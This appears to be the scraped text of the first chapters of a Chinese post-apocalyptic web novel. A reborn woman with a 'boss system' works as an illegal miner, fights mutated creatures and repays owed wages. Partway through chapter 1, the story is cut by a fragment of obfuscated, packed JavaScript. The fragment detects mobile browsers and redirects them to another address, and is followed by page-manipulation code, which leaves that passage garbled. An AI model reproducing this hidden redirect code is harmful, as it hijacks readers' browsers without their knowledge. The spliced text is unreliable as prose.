《绑定老板系统，杀穿废土》 1. 矿洞（一） 新历113年，矿区-116m。 坑坑洼洼的岩石上伫立着十顶深色帐篷，帐篷表面沾满粉屑，灰头土脸的，像是四处刨食的老鼠。 砰——砰—— 铁凿和岩块的敲击声乍然响起，鞭炮似的，炸的帐篷抖动起来。 里头的人被惊醒，用灰扑扑的“爪子”揉开睡眼，准备开始一天的劳作。 游迁挣扎着爬起，盯着脚边臭烘烘的冲锋衣样式防护服，用刚开机的脑子，努力理解现在的境况。 她，游迁，26岁预备老板。 孤儿院出身，初中毕业就出来打工，零零散散干过七八份工作。 两个月前，游迁刚攒够开店的钱，想要摆脱打工人身份翻身做老板，结果就被现实当头棒喝。 还是物理意义上的“当头棒喝”——她被店里边老化脱落的天花板砸中脑袋，两脚一蹬，当场去世。 醒来后就到了这个鬼地方，脑袋里还多了个路灯系统。 【提醒宿主，不是路灯系统，是大老板系统】 “好好好，大老板系统，我之前‘系统系统’地喊你都没反应，现在怎么冒出来了？”游迁在心里问它。 【系统能源不足，只有完整正确的称呼才能触发底层代码，系统才能接收到宿主您的信息】 【但基于宿主的口癖，系统会酌情将简略版称呼收归数据库】 得，还说不是挂路灯系统。 游迁懒得和系统探讨名称的问题，发布指令道：“调出个人面板和任务清单。” 【个人面板 人物：游迁 性别：女 年龄：26 身份：赌鬼/云山赌场债务人/无良老板/非法矿工 资产：-1014000联邦币 异能：暂无】 无论看多少次，这个负值爆表的资产都让人两眼一黑。 游迁咬咬后槽牙：“继续显示任务清单。” 【任务清单 主线任务一 拖欠的工资 任务介绍：作为一名良心老板，应当及时把工资付给打工人。否则，您将承担打工人的怒火。 任务限期：3天 任务进度：0% 任务奖励：D级异能】 【以上是宿主现阶段可以看到的信息。宿主是否还有疑问？系统检测到您的脸色不是很好，消极的情绪不利于身体健康，您现在的信用和资产不足以支撑您进行疾病治愈。还请宿主放宽心态，如有需要，系统可以为您提供心理舒缓服务】 “不了，我很好。” 游迁扶住帐篷支架，深呼吸。 赌鬼就赌鬼吧，如果原身是好人，她反而会良心不安。 帐篷外头，矿镐与岩壁的敲击声愈演愈烈。 脏污的篷布被掀开，非法矿工们肩扛矿镐，猫着腰钻出低矮的帐篷口。 合法的矿工身份需要经过联邦的重重考核，她们这些非法矿工，或是年龄不达标，或是身有疾病，或是征信不足……各种各样的理由让她们无法通过联邦的核准。 于是她们聚集于此，偷渡下矿。 游迁有样学样，捡起地上的防护服往身上一套，系上护目镜，戴好手套，混入上工的人群中。 她正对岩壁，看似是在认真上班，实际正斜眼偷窥同事，模仿同事老林挖矿的动作。 老林一脚向前，膝盖微弯，手分别握在镐柄的中后部和中前部。她将铁镐举过头顶，身子往后，像一把紧绷的弓。 唰！老林上半身猛地前倾，镐尖势如破竹，精准没入岩层缝隙。 要是人的脑袋被这样砸，铁定得落个头破血流。 老林没急着收回铁镐，左右晃动，晃掉凿击点周围松动的石块。等再也晃不动，她才收回铁镐，开始新一轮的凿击。 如此反复数次，婴儿拳头大小的靛蓝矿石滚落在地。老林拿矿石在裤腿上蹭过，丢入防护服侧腰口袋里。 于偷学一道，游迁很有心得。她看出来老林这一套动作是在借力，不是单靠手臂，而是依靠身体前倾的力来挖采。 游迁照着老林的动作来，刚开始还有些生疏，老是凿歪。 到后头就越发娴熟，矿石丁零当啷地滚入她的口袋。 “某些人注意点，别磨磨蹭蹭的，这么久就采这么点矿，也不知道干什么去了。耽搁了大家，有你好果子吃！” 游迁还以为是在骂她，抬头才发现，不远处，她们这帮非法矿工的头头李石正在训一个高瘦的女生。 按照下矿前的约定，除了矿点的选择和撤矿的时间，她们这帮非法矿工本质上都是各干各的，快一点慢一点根本无所谓。 印象里，挨骂的女生叫小季，头一回下矿。李石估计是看人下菜碟，故意挑刺，拿新人出气。 类似的事，游迁在刚进社会打工的时候也遇到过。她眨眨眼，状作不经意地和老林大声“嘀咕”：“咱们不是付了钱吗，老李那么气干啥，又不是按收入给他提成。” 听到有人有人阴阳他，李石扭头，刚想骂几句，发现是游迁这个赌鬼在说话。 晦气，这穷光蛋要是被逼急了，搞不好会和他拼命。 要是早点知道这事，他打死也不会把这人招进队伍。 李石把骂人的话咽回肚子，没搭理游迁，粗着嗓子喊：“看什么看，都干活去！” 挨骂的小季感激地望了眼游迁，犹豫片刻后，拎着铁凿，移到游迁旁边。 “刚才谢谢你。” “不客气。” 游迁没有多说什么，她只是看这种人不顺眼，想骂就骂了，本身并没有助人为乐的喜好。 小季盯着面前的女人，女人乌黑的秀发被扎成利落的高马尾，汗水从挺立的五官上滑落，她似乎并没有把和李石对呛这件事放在心上。 尽管李石是这个非法开采小队的头头，得罪他比得罪一个新人的后果要严重的多。 小季抿了抿唇，犹豫片刻，还是选择告知： “其实，我刚刚和李石起冲突是有原因的。” 可能因为紧张，也可能因为激动，小季用手奋力比划，像是在说意大利语。 “我大学志愿是???研究，之前在联邦图书馆内看过书，有一种???寄生在岩壁里，光看岩壁难以察觉，只有铁凿敲上去的时候才会有所不同……” 小季说某个词汇时，游迁完全听不清。 入耳的只有杂音，她仅能从小季的口型中推断出这是个三字词汇。 游迁在心底呼唤大老板系统：“她刚刚说的那个词是什么？为什么我完全听不清？” 【这是系统对宿主的保护，此类词汇带有危害性，宿主刚刚穿越过来，初次接触，灵魂可能会出现不良反应，具体表现为头痛耳鸣，大约持续十秒。系统已履行风险告知义务，请问宿主是否需要解锁？】 “解锁。” 小季的话语变得清晰起来： “李石刚刚敲岩壁的时候，铁凿砸在岩壁上的声音不同，比之前要闷。我担心有污染物躲在岩壁里，建议他换个地方开采，结果……就是你刚刚看到的那样，他把我骂了一通。” 污染物三个字说出口，一阵剜心的痛钻入游迁的脑髓，血管突突地跳着。 耳鸣声此起彼伏，在她脑中尖啸。 小季表情万分惊恐，游迁盯着小季的脸，用痛到麻木的大脑思考，自己是不是面部过于扭曲吓到了这孩子。 十秒过去，游迁发现不是。 男人的惨叫声在矿洞内回响，游迁转过身，四米高的荆棘藤蔓刺穿了李石的胸口，从中间将他撕成了两半。 满是脏脚印的地面被空中落下的血液覆盖。 她们这群老鼠的一员死了，鼠群躁动，一时间，嚎叫充斥地底。 “是污染物！快跑啊————！” 黑色藤蔓是捕鼠人的网，灵活坚韧的枝蔓攀上洞顶，以猎食者的姿态，高高在上地审视底下四处逃窜的人群。人类的血液令它兴奋，枝叶垂落，精准无比地刺穿一名矿工的头颅。 游迁没有看到这一幕，她正死命地狂奔，力求以最快速度逃出这。 脚后的石头炸开，这无疑是个信号，向她传达藤蔓差点咬掉她脚后跟的事实。 老林跑在她后边，瞥见这索命藤蔓也是倒吸一口凉气，扭着腰堪堪躲过藤蔓的下一波攻势。 五十多的年纪，愣是窜出了二十岁的猴劲。 小季：“火！我记得这东西怕火！” 游迁往声音的源头看，小季跑的是另一个方向，整个人跑的面红脖子粗。 也是难得，跑成这副模样还有力气喊话。 说到火，她还真有。 原身有烟瘾，哪怕是在矿洞这种通风不佳的环境中，原身还是选择忽视安全隐患，携带了抽烟必需品。 游迁当即从防护服右侧第二个口袋摸出塑料打火机和烟。 她把烟点燃后，用发绳把二者捆在一处。再在塑料打火机外壳背面捏出道裂缝，扭头，奋力向藤蔓掷去！ 藤蔓并没有将这点微乎其微的火放在眼里，枝叶甩鞭般将其抽落在地。 落在地上的那一刻，打火机外壳彻底碎裂，气化的液态丁烷喷出，和火星一碰…… 砰——！！！ 火光冲天，灼热的焰火咬上污染物，顽石般坚韧的表皮爆开，植物汁液流出，空气中弥漫着一股诡异的焦香。 橘红色的光映上冷色的石壁，小季停下脚步，呆愣地望着这一切。 这一切发生得太突然，上一秒还在张牙舞爪的污染物，这一秒就偃旗息鼓，在热气中蜷缩成团。 庞然大物倒了，死在了捕猎对象们点燃的火光中。 * 污染物死了，但危机还未解除。 浓烟从矿洞中源源不断地涌出，离得近的小季已经出现了胸闷气短的症状。 “快走，我知道该怎么出去，跟我来。” 老林拉了把这傻孩子，她左手一个小季，右手一个游迁，老当益壮地跑在前头。 她们入矿的路已经被藤蔓和大火封死了，只能从别的地方离开。 三人之中，游迁是个半路上岗的“临时工”，小季是个出来挣学费的未成年，数来数去，也只有已经从矿区退休的老林知道路。 老林：“我们往西面走，那边有正式工专用通道，我之前待的那支队伍就是在那个片区挖矿，走半天能到。” 等脱离浓烟覆盖的范围，老林停下脚步，从皱巴巴的防护服口袋里掏出一袋莹白饮料，撕开封口。 “每人喝三分之一，恢复体力。” 离出口还远，她们三个从早上开始就在干活，刚刚还揣着半兜子矿石跑了那么久，不补充点能量，怕是要饿昏在矿洞里。 游迁这个外来户接过饮料，好奇地扫了眼饮料的外包装。 矿工特供营养液 型号：DXNZQ-007 保质期：新历113年2月-新历118年2月 供应商：诺亚生物 价格：10联邦币 “别看了，刚买的，没过期。” 见游迁老半天不喝，老林还以为她是在看保质期。 【宿主，没毒】 游迁试探着喝了两口，营养液味道清甜，滑入腹中，有种诡异的饱腹感，像是吞了两块压缩饼干。 老林：“矿洞内不能使用电子设备，联系不到外面，我们还是早点走吧。” 三人继续往前走，一路上无人说话。 游迁趁机戳了戳系统：“大老板系统，给我讲讲这个世界。” 随着时间的推移，游迁越发感受到这个世界的不同之处。 不管是污染物、异能这类小说里才会有的字眼，还是小半袋就能顶饱的营养液，都彰显着这个世界的异样。 【在宿主刚穿越的时候，系统已告知宿主，这是个废土世界，请问宿主是需要更深入的信息吗？】 “对，告诉我这个世界的科学技术发展到什么地步了？这些异能和污染物又是哪来的？” 【收到，正在根据宿主的要求调取数据……】 【调取……成功】 【异能和污染物来源于一场举世浩劫，旧历2026年，混乱元年，地震、海啸、火山喷发等自然灾害频频发生，地磁紊乱，动植物异化为污染物，食品能源供给不足，世界人口锐减】 【万幸的是，世界没有抛弃人类。存活下来的人类中，有九成觉醒异能，拥有了与污染物抗衡的能力。在伟大的异能者们的带领下，人们在生物不活跃的区域修建基地】 【三十年后，基地防御设施建成，矿石能源技术得到普遍应用，食品能源危机得到缓解，联邦政府颁布新历，宣告人类与污染物的斗争进入平稳阶段】 “打断一下，系统，你这资料从哪来的？” 【联邦政府官网，宿主有什么问题吗？】 “没事。” 就是觉得这段话太有人味了些。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515366|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【科技方面，相较于宿主所在的世界，本世界在太空探索方面的科技停滞不前，在生物与基因编辑、材料与能源、人工智能等方面获得了长足的进步……】 在系统的科普下，游迁带着满脑子新鲜出炉的知识，抵达正式矿工所在的矿区。 正式矿工们穿着灰白防护服，瞧着比她们这帮非法潜入的合身不少。 每队正式矿工都会有异能者看护，这队的异能者是名鹰钩鼻男人，穿着醒目的橙黄防护服。 正式矿工都在全神贯注地干活，哐哐的敲击声盖住她们的脚步声。 老林领着两个小的，上前和鹰钩鼻男人套近乎：“周队长，这次还是你带队啊。” 周队看到退休的老员工出现在矿区内，眉头先是惊讶地抬起，而后又紧蹙着，拧的能夹死一只蚊子。 “老林？你不是刚退了，没事跑矿区来晃悠干什么？！” “嗨呦，还不是我家那个不争气的老骨头，矿挖多了身体落下病，缺医药费。这不，我这老没脸的只好拉上家里的两个小辈，偷偷跑来这，挖点矿补贴家用。” 周队揉搓着眉头，目光从小季和游迁两人的脸上扫过，在扫到游迁时，眼皮跳了跳。 “这赌鬼……这姑娘是老林你亲戚？” 老林：“嗨呀，什么赌不赌的，小游迁她人蛮不错的，我这次下矿遇到麻烦，还是她帮忙解决的。怎么，你俩认识啊？” “倒不是认识，我队伍里有人在她那边干过……”周队沉默了一瞬，低声补充道：“工资还没给人家呢。” 【检测到任务目标关花开、关富贵，任务进度提升为50%】 【请宿主及时归还所欠薪水（合计14000联邦币），消除打工人的愠怒】 两片阴影从后袭来，将游迁罩住。 紧接着，两只宽厚粗糙的手掌压住她的肩，游迁被麻花一样地拧过身。 身材高大、面目凶恶的一女一男瞪着她。两人眼睛充血发红，干燥起皮的嘴弯钩似的下垂，看表情像是要生吞她。 “游老板，你可真是让我们姐弟俩好找，拖了两个月的工钱，是时候结清了吧。” 说话时，姐姐关花开死死摁住游迁，弟弟关富贵眼观六路、耳听八方，免得游迁这个滑不溜秋的老赖找地缝钻出去。 旁边的老林瞧见这讨债的阵仗，担心引起太多人的注意，耽搁她们离开，便出言劝解： “大家有事好商量，现在人都找到了，跑得了和尚跑不了庙，有事我们出去再商量。” 关花开眨了眨酸涩的眼，摇头：“你们早走晚走我都无所谓，但游老板不行。” 如果只是单纯的欠薪，她和她弟弟也不会恼怒至此。 但这不是。 这薪水是她母亲的救命钱。 联邦对矿工的年龄和身体素质作出严格限制并非没有原因。 矿区污染度远超地面，长期在矿区工作，会对人体造成不可逆的负担。有一小部分矿工会在退休后，患上器官衰竭萎缩的怪病，这类怪病因为常出现在矿工身上，所以也被称作矿工病。 “矿工病”患者往往需要支付昂贵的医疗费，及时救治，才能保住性命。 关花开和关富贵两个人的工资付得起日常开支，却付不起这部分药费，哪怕找人借钱也不行。 经济的重压让两人铤而走险，入职了一家薪资待遇貌似还不错的野鸡公司。 然后就遇上了游迁这个黑心老板。 别说工资了，连下矿的正常开支都是她们自掏腰包的！ 关花开已经做好和游扒皮扯皮的准备，脸拉得和驴一样长。 她暗自发誓，今天不讨到薪水，她就不姓…… 咦？ 手臂似乎碰到了什么膈人的物件，关花开低头，发现是一包矿石。 她关花开眼花了还是游扒皮中邪了？ 这姓游的居然会主动给好东西？ 犹豫半秒都是对钱的不尊重，关花开一把接过矿石，摊开数过，接着从鼻腔中冷哼出声： “就算按市价，这包矿石也只抵三天的工资。” “想什么呢，只是让你帮我拿一下，没说给你。” “你你你！”真是江山易改本性难移！ 她关花开早该知道，这把员工工资都拿去赌的家伙，怎么可能会良心发现。 关花开暗嘲自己天真，后悔自己几个月前没能经受住钱的诱惑，明知公司不对劲，还是要拉着亲人往坑里跳。 关花开无意识攥紧了搭在游迁肩膀上的那只手。 “嘶！我没说不还啊，你快松手。” 关花开稍稍卸了力道，警惕地盯着游迁：“你又要耍什么鬼把戏？” 游迁猫下身子，把左边的鞋一脱，扒拉开鞋垫子，从鞋垫底下摸出个防水袋，里头是一沓皱巴巴的联邦币。 围观的所有人：…… 游迁：别这么看我，是原主藏的，不是我藏的。 得亏联邦币最大的面值是一万，要是按照游迁上辈子所在国家的货币面值，她得在脚底下藏个高跷。 游迁尽量忽略掉周围异样的眼神，抽出袋子里花色各异的联邦币，一张一张地数。 她本来想从中间数出几张干净点的，结果从头数到尾，刚好只够付花开富贵姐弟的工资。 游迁在心底问道：“系统，这不会就是原主拖欠的工资吧？” 【是的，在宿主来到这个世界前，这具身体的原主人正在被追债，所有资产都被查封冻结了，身边的钱只有这份赌资】 “赌资？”游迁眼皮一跳，“你是说原主打算把这份工资拿去赌钱？” 【回宿主，是已经赌出去了，债主还没来得及收】 游迁沉默着将钱在防护服上蹭了蹭，递给关花开。 递的时候无意中对上她的眼睛，看见了这名健硕女人眼中的泪花。 关花开似乎忘记了这笔钱的出处，立马把钱揣到怀里，仿佛不这么干，到嘴的工资又要飞了。 游迁：……我真该死啊。 随即想到这一堆缺德事又不是她干的，这会儿她没钱也就算了，还得给原主哼哧哼哧地还债，就悲从心来。 靠北了，原主真该死啊。 “系统，之后的任务不会也是还债吧。” 游迁双目无神，像是被生活抽走了所有精气神。 【请宿主放心，剩余债务将通过其他方式处理】 “什么方式？” 【杀死债主】 2. 矿洞（二） 游迁战术性后仰，有被她的法外狂徒系统震惊到。 【宿主不必忧虑，这个任务的时限还很长。至于道德方面，根据原主的记忆，您的这位债主长期从事开设赌场、组织赌博和放贷这一系列灰色活动，有异能者在旁协助，宿主目前还没有与之抗衡的能力】 【您下一阶段的任务是这个】 【主线任务二招募员工 任务介绍：虽然您已经将欠薪归还员工，但您的员工依然决定跑路。一家企业不能没有员工，请在规定期限内重新招募员工。 任务限期：60天 任务进度：0% 任务奖励：C级异能】 【另外，系统检测到主线任务一已完成，现在发放任务奖励，请宿主及时查收】 面前跳出一个闪闪发光的炫彩礼盒，游迁将目光凝聚于粉嫩的彩带上，彩带仿佛被无形的手抓住、拉开。 礼物盒打开，一道白光向她的脑部冲去，没入皮肤。 游迁摇动四肢，感觉身体有些不一样了，但具体变化有哪些又说不上来。 礼盒消失，虚拟屏幕再度出现，上面显示着异能信息。 【异能：乖，留下加班 等级：D级 简介：大老板系列异能，可禁锢指定的人或物，使其无法脱离指定区域。持续时间1min，冷却时间10min。 注意：禁锢对象异能等级越高，该技能效果越弱，A级以上异能者无法禁锢】 异能分为D、C、B、A、S五个等级。 C级以下的异能者被称为低阶异能者，占异能者的大多数，主要负责联邦日常生产工作，进行低危险性的巡查工作。 高于C级的异能者被称为高阶异能者，数量稀少，是联邦清剿污染物的主力军。 至于S级异能者，那更是凤毛麟角，联邦目前记载在册的S级异能者仅13位，其中有10位是末日初期觉醒异能的。如今一百多年过去，还有多少位活着，尚不可知。 接收完任务奖励，游迁回过神。 周队：“我们队伍还要在这待一天，你们要跟我们一起走得再等一天。还有，出去要是刚好遇到抽查，我可不会帮你们求情。” 老林扬起一个皱巴巴的笑：“周队放心好啦，要是真的不凑巧遇到那帮抽查的，我就说我是自己死皮赖脸跟上来的，和周队没关系。” 矿区的老员工都知道，私自下矿最怕的不是被抽查，而是赚的盆满钵满后发现出不去。 部分带队的异能者很讨厌非法矿工，认为来路不明的非法矿工带着污染，是不稳定因素。有些异能者队长会拒绝非法矿工进入队伍，拒绝和这些非法矿工一起离开矿洞，部分激进的异能者，甚至会出手驱逐。 周队长出于和老林的交情，同意代她们这三个非法矿工离开，不等于同意她们继续逗留在任务地——他不想在执行任务的同时，匀出注意力关注这帮非法矿工，观察她们是否受到感染，是否会危及正式矿工的安全。 周队：“离这五公里远有个未经检验的野生矿点，它在各个官方矿点之间，危险度不会很高，最多有些畸变物。你们可以去那边挖矿。” 畸变物是污染物的前身，它们存在一定程度的异化，但危险性尚且可控，一名强壮的成年人足以应付。 “谢啦周队！我们几个这就去那边，不打扰你们工作了！” 老林把游迁和一脸懵的小季拉过来，三两句解释清楚周队给她们提供野生矿点的原因。 “总的来说，咱们仨留在这会给他工作添麻烦，最好还是离远点，等他们这帮正式工要离开的时候再回来。” 小季脸色发白：“可以不去那个野生矿点，在路上找个地方坐一天吗？” 老林：“可以是可以，但路上和野生矿点的危险程度差不多，都有可能遇上那些长得千奇百怪的东西。” “我们这一路上没碰到，只是因为跑得快。在路上停留的时间一长，那些畸变的怪东西照样会找上门，你看那角角落落藏的畸变物，未必比野生矿点里的少。” 小季想象了下自己坐在地上，长着八个脑袋的蜘蛛从岩缝里爬出来、钻到她的鼻孔里的画面，一时间汗毛直立。 “我还是去矿点吧。” 老林点头，用目光询问游迁。 “我也去矿点。” 异能刚到手，游迁需要找地方试验效果，野生矿点的畸变物正合适。 三人在讨论中离开了官方矿点，周队目送她们离开，直到她们的衣角消失在洞外的拐角处，他才挪开视线，眉头放松。 非法矿工寻求官方帮助，多半是所在的队伍遭遇了污染物。 污染物攻击性高，有的还会造成精神上的污染，普通人能从污染物的猎捕下逃脱固然幸运，但…… 谁又能保证，回来的真的是“人”？ * 五公里外，野生矿点。 矿点入口处被贴了警戒线，中间还立了牌子，牌子上写着“非正式矿点，入内后果自负”。 游迁猫着腰，从警戒线下穿过。 再抬头，入目是一片宽阔空地，高远的洞顶苍穹般盖下，壁顶的石锥无喜无悲地注视着她们。 空地上，蓝白的不规则石块从平坦的地面拔起，表面凝结着一层半透明晶层，折射出柔和的光晕。 矿石，自然引以为傲的杰作，内里蕴含着超乎想象的能量。 灾厄以来，这类蓝色矿石替代了石油和煤炭，为联邦提供日常所需的能源。有人将它们奉为人类的救赎，末日的曙光。 小季低声呢喃：“这里可真漂亮。” 老林：“那些正式矿洞开采前比这个还漂亮，这里和开采前的正式矿点比，还差的远呢。” 正式矿点对含矿量要求很高，每个正式矿点都是经过严密的筛选，以确保矿石产出远高于人力资源的投入。 这个野生矿点的含矿量未达标，官方懒得理睬，这才便宜了游迁等人。 至于游迁她们先前偷挖的矿点，那个矿点属于被开采过的废弃矿点，表层高价值的矿石都已被挖走，只留下深层的、分散的低质量矿石。 游迁：“既然这里可能会有畸变物，我们不如轮流放哨，一个人负责警惕周围，另外两个人挖矿，两小时一轮班。晚上休息的时候也一样。” 老林掏出口袋里的机械表，瞅了眼时间：“成，这样也安全些。” 游迁第一个放哨，她手上拎着从周队那边借来的旧矿稿，当作武器。 矿点内的光线全都来源于这些矿石，存在矿石的岩石，表面会透出光。矿石越多、品质越好，矿点内的能见度也就越高。 又一块岩石被铁镐击碎，三只指甲盖大小、身上覆有蓝色斑点的虫子飞出。 游迁试探着对它们使用异能。 那是种玄妙的感觉，仿佛平空多出只手，从体感上和四肢无甚区别。 三只虫子像是被按下了暂停键，悬停于半空中。 游迁在心中默数，数到17秒的时候，大脑传来疲惫的信号，像是搬了一天的砖，酸软无力。 一个控制对象是1分钟，三只就是20秒吗？ 没等时间耗尽，游迁主动靠近，隔着层皮手套，把三只虫子捏死。 “老林，这是什么虫子？” 游迁摊开掌心，把手中的虫尸展示给老林看。 “这个啊，我看看。”老林眯着眼凑近，在游迁掌心发现了滩蓝色粘液，“普通的畸变甲虫罢了，被咬到也不要紧，最多就是手臂麻上一个小时。” 热爱研究污染物和畸变物的小季也跑过来凑热闹，她把甲虫翻面，惊叫出声： “老林！被这东西咬了怎么能说没事呢！这是蓝点星斑虫，人体直接接触的话会受到轻微的污染，被咬了更严重！要是被咬的次 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系统那几个小时的科普，还是太粗略了。 后续挖矿过程中，不断有蓝点星斑虫从矿点的各个角落钻出，游迁不停地拿它们试验异能。 异能的冷却时间确实是10分钟，并且异能一旦实施，除了实施对象死亡的情形，游迁都无法中止对虫子的控制。 理想情况下，她可以通过控制后迅速杀死，让这一分钟的异能时间发挥它的最大价值。 但现实是，不是所有畸变物和污染物都那么好对付。 如果是对上其他畸变物，她的胜算有几分？ 入夜后，她有了答案。 * 矿点常亮，白昼与夜晚失去界限，成为存留于表盘的数字。 人类研发出了替代食物的营养液，也制作出了取代睡眠的针剂。在这个物质资源匮乏的时代，人类却超越了身体的局限，不再为进食和入眠所困。 只不过，贫穷的非法矿工买得起营养液，却买不起针剂。后者原材料稀缺，生产数量有限，价格昂贵，通常被用于异能者执行特殊任务。 老旧机械表的指针指到12，老林停止工作，从口袋里掏出个真空袋。 打开真空袋，袋中的内容物逐渐鼓胀，变成了一条薄毯。 老林把毯子取出来，铺到地上。 “孩子们，都来这边睡。” 游迁望着老林的防护服，问出此刻最大的疑惑： “老林，你兜里究竟有多少东西？” 老林摆手：“真没多少，只是些鸡零狗碎的小玩意。” 然后又从兜里拿出副眼罩，给自己戴上。 今晚的守夜顺序是游迁、老林、小季。 游迁坐在老林的薄毯上，警惕地望着周围。 三分钟过去，游迁身后突然传来闷响，她猛地回头，发现是老林大张着嘴，在打鼾。 游迁又坐回去，捏了捏僵直的手指。 呼噜声在洞内回响，游迁的视线在老林的睡颜上停留，羡慕起她老人家的心态。 早上还在一起干活的工友，一不留神就没了大半，好不容易有个歇脚的地方，居然还是个自带畸变物的危险矿点。 这种情况下还能立马睡着，老林的心脏是不锈钢做的吧。 看看旁边的小季，眼睛时不时地睁开，把自己从头到脚裹起来，就差把鼻孔也蒙上了。 游迁用气声说：“小季你睡吧，有我守着呢。” “不是的游迁姐，我，我的腿上好像有什么东西在动……” 小季嘴唇抖得厉害，滑溜的触感如同附骨之蛆，将小季的右腿包裹在内。她想过挣脱，可是身体一动，腿部的紧勒感便成倍地增加。 游迁掀开被褥，用铁镐撩开小季的裤腿，倒吸一口凉气。 3. 矿洞（三） 小季右腿膝盖往下，肉色消失，取而代之的是白黑相间的蛇纹。 蛇纹不断往上，吞掉三分之一的大腿。 铁镐镐头斜划过右腿，那道扁平的蛇纹“嘶嘶”立起，头部对准游迁，弹射向前！ 三角蛇头直击游迁面门，然后在距她三厘米处堪堪停下，明黄的蛇瞳倒映出她满是细汗的脸。 游迁喘着粗气，抓住畸变蛇的七寸，掼到地上，铁镐尖端砸向蛇头。 然而，镐头下劈的瞬间，那条有着诡异纹路的蛇消失不见，地上空了一块，只余铁石碰撞的嗡鸣。 怎么回事？ “腿……我的腿！” 污黑的血从小季右腿上渗出，将地上的被褥染成扎眼的深色。那条蛇还缠在小季的腿上，仿佛从未离开过。 这条蛇的确中了游迁的异能，无法动弹，蛇腹的倒刺在人腿上留下血痕。 “嘶，快看你后面！” 游迁惊呼出声，小季下意识回头，紧接着，腿部传来剧痛，泪水登时盖住了小季的视线。 “你哐我，后头根本没东西。” 小季擦去眼泪，扭头看见游迁手上抓着蛇，一条半人长、腹部密密麻麻缀着倒刺的死蛇。 所以……刚才就是这东西缠在她腿上？ 小季呆滞地低头，果不其然瞧见了自己血肉模糊的右腿。 游迁：“这条蛇类畸变物会施放幻觉，我刚刚误以为它要攻击我，废了点劲把它抓到手，转头又不见了，结果发现……” “结果发现它还在我腿上。” 小季生无可恋地替游迁说完，用力掐自己的脸。 游迁一脸莫名地看她。 小季嘴一咧，差点哭出声：“假的吧，我不是在联邦图书馆备考吗，怎么想不开跑这来了。” 还有力气怀疑人生，说明伤得不算太重，应该能撑到她们离开。 “你认得这个畸变物吗？” 小季从哀痛中挣脱出，摁住心里的恐惧，抬头去看那条差点拧断她腿骨的蛇。 “一二三……二十三对倒刺，黑白条纹，还会让人产生幻觉……这应该是费巴诺条纹蛇，这类畸变蛇会自发地向外散播污染，让人产生轻微的幻觉，最常见的幻觉就是让人潜意识忽略它。如果不在心理层面暗示自己注意蛇类，很难发现这种蛇，属于畸变物中较为危险的种类。” 小季盯着这条蛇，缓慢呼出半口气：“万幸的是，费巴诺条纹蛇领地意识极强，这个矿点应该就它一条。” 游迁打量着手里的蛇尸，对自己的实力有了模糊的认知。 D级的异能只是让她变得比普通人耐活些，如果遇到实力强劲的畸变物，她也免不了一番苦战。 了解污染物、畸变物有关的知识很重要，实战训练也是。缺乏对危机的感知和敏捷的身手，她又能在污染物面前活多久？ 小季腿受伤了，不方便守夜，游迁便把自己的守夜时间后挪一小时，又平等地把老林的守夜时间前移一小时。 起床时，老林一看手表，发现只有凌晨三点，差点气得喷火，刚要骂人，见到小季用碎衣料包扎着的右腿，瘪瘪嘴，把火气咽回肚子。 “游迁姐，林姨，我给你们添麻烦了。” 小季自责地垂下眼眸，从口袋里掏出今天挖的矿石，平分成两份，递给游迁和老林。 从游迁口中得知来龙去脉的老林摇头：“不用给我，刚才出了那么大的事，我什么忙都没帮，睡得跟死了一样，你要过意不去，就把我那份给游迁吧。”她应该挺缺钱的。 小季闻言，把剩下的矿石也给了游迁。 缺钱的游迁毫不推脱地收下，回程的时候主动搀住小季，自觉地充当起人形拐杖。 下午三点，她们赶在正式矿工们离开前，抵达官方矿点。 周队愁眉不展地盯着一瘸一拐小季，在她面前比了三根手指：“这是几？” 突然被问，小季愣了会儿回答道：“三。” 周队还是死死盯着小季，眼神凶的像是看见了弑母仇人：“跟在我队伍末尾，和其他人保持50米距离。” 矿洞中受伤是件很严重的事，对受伤者本人和受伤者队友而言都是如此。有些伤不仅体现在身体上，还会对人的精神造成损害。 联邦建立以来最严重的一次矿难，就是因为队伍里的矿工受伤不报，伤情快速恶化。 根据后续勘验，那名矿工在受伤10小时后堕化为极具传染性中危污染物，污染蔓延至他所在的矿点和周围的六个矿点。 传播范围内的所有人，无一生还。 也是在那场矿难后，联邦对矿洞作出区分，300米以下、存在中危以上污染物的区域，只能由对污染具有一定抗性的异能者入内探索开采。 游迁一手扶着小季，目光落在同样在队尾、和她们相距五十米的周队身上。 周队肩背紧绷，手压在腰间的枪上，时不时侧过头查看她们的情况，做好了随时喂她们“花生米”的准备。 游迁对周队的戒备接受良好，她只希望周队枪法准点，真出了什么意外别手滑来个“一箭双雕”。 正常情况下，正式矿工们进出矿洞走的是不同的路，出去的路只有异能者知道。 每到拐角，周队都要出声告知方向。 受污染影响，矿洞的出入口总是在变，联邦测算过，平均二十三天，矿洞与外界的通道就会发生变化。 原有的路消失，继而生成新的通路。 人为修建通道行不通，矿区表层的岩石坚硬无比，就算是用上末世前能把半座山炸穿的炸药量，也无法在矿区表层留下凹洞。 与表层相比，矿区内部的矿石却显得无比脆弱，使用炸药轻则会损坏这些珍贵的矿石，重则会造成矿洞大面积坍塌。 游迁一路走下来，最直观的感受就是环境在变暗。 等抵达出口，洞口外的景色不是想象当中的蓝天白云，而是灰蒙蒙的雾气。 前路被浓雾遮盖，事物只有模糊的轮廓。 游迁佝偻着腰从洞内钻出，用力揉搓双目，眯起眼。 两道瘦长的黑影无声注视着她，黑影之后是杂乱的建筑，看不出鲜艳色彩。 “城市开发管理局抽查，请配合我们的工作。” 黑影站着没动，游迁往前走几步，才看清管理员的面孔。 两名管理员都是女性，一位留着利落的短发，另一位扎着丸子头，脸上架着略显笨重的黑框眼镜。 她们都穿着灰白夹克，胸前映有相同的徽章，应该是城市开发管理局的制服。 正式矿工老老实实站在她们后头，领队周鹫野更是鹌鹑一样缩着头。 短发管理员拿长得像额温枪的仪器，对准游迁。 “正在进行初步检测……” “污染度1.7，检测通过。” “正在比对数据库……” “比对失败！未找到对应身份信息！” 仪器闪烁红光，发出警报。 管理员：“你不是正式矿工。” 